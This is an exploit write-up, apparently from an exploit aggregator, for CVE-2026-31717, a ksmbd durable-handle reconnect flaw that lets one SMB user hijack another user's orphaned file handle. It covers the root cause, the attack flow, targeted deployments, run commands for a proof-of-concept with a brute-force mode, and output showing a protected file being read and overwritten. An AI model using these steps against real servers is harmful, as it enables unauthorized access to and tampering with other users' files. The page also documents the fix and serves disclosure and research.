Share
## https://sploitus.com/exploit?id=DAD94186-788B-5FD1-875D-88D7D63F99E9
# CVE-2026-31717: ksmbd DHnC Durable-Handle Reconnect Access-Control Bypass

## Overview

| Field | Value |
|-------|-------|
| Component | ksmbd (Linux in-kernel SMB3 server) |
| Affected file | `fs/smb/server/oplock.c` (`smb2_check_durable_oplock`) |
| Class | CWE-863: Incorrect Authorization |
| Impact | Authenticated SMB user hijacks another user's orphaned durable handle, gaining read+write through the original opener's `f_cred` (POSIX ACL bypass) |
| Affected dialects | **SMB 2.1 (0x0210) and above** |
| Affected versions | Linux 6.12 โ†’ 6.19.x (commit `c8efcc786146` introducing durable handles, before the fix) |
| Prerequisite | `durable handles = yes` in `ksmbd.conf` (non-default) |
| CVSS 3.1 | **8.8 High** `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| Fix | [`ksmbd: validate owner of durable handle on reconnect`](https://lore.kernel.org/linux-cve-announce/2026050124-CVE-2026-31717-f68b@gregkh/) (commit `49110a8ce654`) |

## Root cause

`smb2_check_durable_oplock()` has two branches: lease-based handles (secure)
and non-lease batch-oplock handles (vulnerable). The non-lease branch checks
only the oplock level, then `goto out` skips every authorization step:
ClientGUID match, lease key, and `ksmbd_validate_name_reconnect()`.

```c
// fs/smb/server/oplock.c:1852โ€“1864 (pre-fix)
if (opinfo->is_lease == false) {
    if (lctx) { ... }
    if (opinfo->level != SMB2_OPLOCK_LEVEL_BATCH) {
        ret = -EBADF;
    }
    goto out;       // skips ClientGUID, lease key, filename checks
}
```

`parse_durable_handle_context()` for DHnC (v1) looks up the handle solely by
attacker-supplied `persistent_id` (smb2pdu.c:2796). Persistent IDs are
allocated via `idr_alloc_cyclic(..., 0, INT_MAX-1, ...)`
(vfs_cache.c:618): sequential, predictable, and **global** across all
sessions on the server.

Once `ksmbd_reopen_durable_fd()` rebinds the orphaned `fp` to the attacker's
`tcon`, the attacker's READ/WRITE goes through `kernel_read(fp->filp, ...)`
(vfs.c:380) and `kernel_write(fp->filp, ...)` (vfs.c:509). `fp->filp->f_cred`
still belongs to the **original opener**, so DAC is checked against the
victim's credentials, the attacker has effectively borrowed them.

## Attack flow

```
1. Victim opens FILE with BATCH oplock + DHnQ context โ†’ persistent_id=N
2. Victim's connection drops without SMB2 CLOSE
   โ†’ fp->conn = NULL; handle persists in global_ft (vfs_cache.c:921)
3. Attacker authenticates as a different SMB user (different POSIX UID)
4. Attacker sends CREATE with DHnC context, persistent_id=N
   โ†’ ksmbd_lookup_durable_fd(N) returns victim's fp (no identity check)
   โ†’ smb2_check_durable_oplock() takes non-lease branch, skips all checks
   โ†’ ksmbd_reopen_durable_fd() reassigns conn/tcon to attacker
5. Attacker reads/writes FILE. kernel_read/write use fp->filp->f_cred
   โ†’ POSIX ACL is evaluated against the VICTIM, not the attacker.
```

## Why DHnC and not DH2C

DH2C (durable handle reconnect v2) is *also* funneled through the same
vulnerable `smb2_check_durable_oplock()` call (smb2pdu.c:3025), but
`parse_durable_handle_context()` additionally `memcmp`s a 128-bit `CreateGuid`
against `fp->create_guid` (smb2pdu.c:2763โ€“2768). The attacker would need to
leak that 128-bit value out-of-band... not bruteforceable.

So DHnC (v1) is the path for blind exploitation: the only attacker-supplied
identifier is the 64-bit `persistent_id`, which starts at zero on a fresh
server and increments sequentially.

## Scenarios

The PoC ships three modes:

| Mode | What it shows |
|------|---------------|
| `acl-bypass` | Two-clause control test: attacker's normal CREATE on a 0600 victim-owned file is denied โ†’ DHnC reconnect succeeds โ†’ re-test, still denied. Proves the read+write only worked through borrowed `f_cred`. |
| `victim` | Phase 1 alone. Use when victim and attacker run on different hosts. |
| `attack` | Phase 2 alone. Bruteforce a `--pid-start..--pid-end` range from a clean attacker session. |

## Real-world triggers

ksmbd marks a handle orphaned (`fp->conn = NULL`, vfs_cache.c:921) on **any**
session teardown: clean LOGOFF *or* TCP-level RST. The PoC defaults to RST
(via `SO_LINGER {1,0}`) because that is the realistic event:

| Event                                          | Client OS     |
|------------------------------------------------|---------------|
| Lid close / suspend                            | Win, macOS    |
| WiFi roam between APs                          | Win, macOS    |
| VPN flap (split-tunnel reconnect)              | All           |
| `cifs.ko` mount on a NIC that goes down        | Linux         |
| Office process crash mid-edit                  | Win, macOS    |
| SMB client process killed                      | All           |
| Docker container restart with bind-mount over CIFS | Linux     |

Where the bug actually matters in practice:

- **OpenWrt** ships ksmbd as the default SMB server package; durable handles
  are a flippable option in LuCI.
- **TrueNAS Scale** (24.10+) experimentally uses ksmbd. Durable handles get
  enabled to satisfy Office/network-share workflows that complain about
  reconnect latency.
- Any **Samsung embedded NAS appliance**, the code path is consumer-storage heritage.
- Any **Linux fileserver** where admins chose to configure ksmbd instead of smbd for performance.

`durable handles = no` is the ksmbd-tools default, but admins flip it on for
exactly the workloads that produce orphans (laptops + Office over flaky WiFi).

## Reproduction

### Prerequisites

```bash
sudo apt install build-essential flex bison bc libelf-dev libssl-dev \
    libglib2.0-dev libnl-3-dev libnl-genl-3-dev libtool autoconf \
    qemu-system-x86 busybox-static cpio python3-pip
pip3 install impacket
```

Current Ubuntu/Debian LTS kernels (โ‰ค6.11) do not include ksmbd durable-handle
support, so the setup uses QEMU with a 6.19.x kernel.

### Setup and run (headline)

```bash
# Build kernel + QEMU environment (one-time, ~5 min)
./setup.sh

# Terminal 1: boot the vulnerable ksmbd server
./run.sh

# Terminal 2: run the headline scenario (wait for "=== ksmbd ready ===")
python3 exploit.py acl-bypass \
    --target 127.0.0.1 --port 44500 --share share \
    --user victim --password Victim1 \
    --user2 attacker --password2 Attacker2 \
    --file secret_0600.txt
```

Expected output:

```
[+] Authenticated as 'victim' over SMB 3.0, ...
[+] Wrote 11 bytes of sensitive data
[+] TCP RST sent โ€” handle orphaned in ksmbd
...
[+] CONTROL pre-exploit: normal CREATE โ†’ STATUS_ACCESS_DENIED โœ“
[!!] HIJACKED handle at persistent_id=N
[!!] READ as attacker: b'TOP SECRET\n'  (POSIX 0600 bypassed)
[!!] WROTE 24 bytes as attacker  (POSIX 0600 bypassed)
[+] CONTROL post-exploit: normal CREATE โ†’ STATUS_ACCESS_DENIED โœ“
    File POSIX mode unchanged; the writes only succeeded because the
    hijacked fp->filp carried the victim's f_cred.
```

Then in the QEMU console:

```sh
ls -l /tmp/smbtest/secret_0600.txt   # mode 0600, owner victim
cat   /tmp/smbtest/secret_0600.txt   # contents: "PWNED by attacker"
```

### Dialect regression

```bash
python3 exploit.py acl-bypass --dialect 2.1 \
    --target 127.0.0.1 --port 44500 --share share \
    --user victim --password Victim1 \
    --user2 attacker --password2 Attacker2 \
    --file secret_0600.txt
```

### Cross-host split (victim and attacker on different machines)

```bash
# On the victim's host
python3 exploit.py victim --target  --share share \
    --user victim --password Victim1 --file secret_0600.txt

# On the attacker's host
python3 exploit.py attack --target  --share share \
    --user attacker --password Attacker2 --pid-start 0 --pid-end 64
```

### Existing kernel source tree

```bash
./setup.sh /path/to/linux-source     # skip the kernel.org download
PORT=9445 ./run.sh                   # custom forwarded port
```

## Fix

The patch adds a `struct durable_owner` (uid, gid, account name) to
`ksmbd_file`. When a handle becomes orphaned, the owner's identity is captured;
on reconnect, `ksmbd_vfs_compare_durable_owner()` checks it before
`smb2_check_durable_oplock()` runs, so DHnC and DH2C reconnects from a
different SMB user are rejected with `-EBADF`.

## Timeline

| Date | Event |
|------|-------|
| 2026-04-04 | Vulnerability reported to security@kernel.org |
| 2026-04-05 | Patch provided by maintainer (Namjae Jeon) |
| 2026-04-05 | Patch verified by reporter |
| 2026-05-01 | CVE-2026-31717 announced |

## Credits

- Davide Ornaghi ([@TurtleARM](https://github.com/TurtleARM/))
- Giuseppe Caruso

## References

- [CVE-2026-31717 announcement](https://lore.kernel.org/linux-cve-announce/2026050124-CVE-2026-31717-f68b@gregkh/)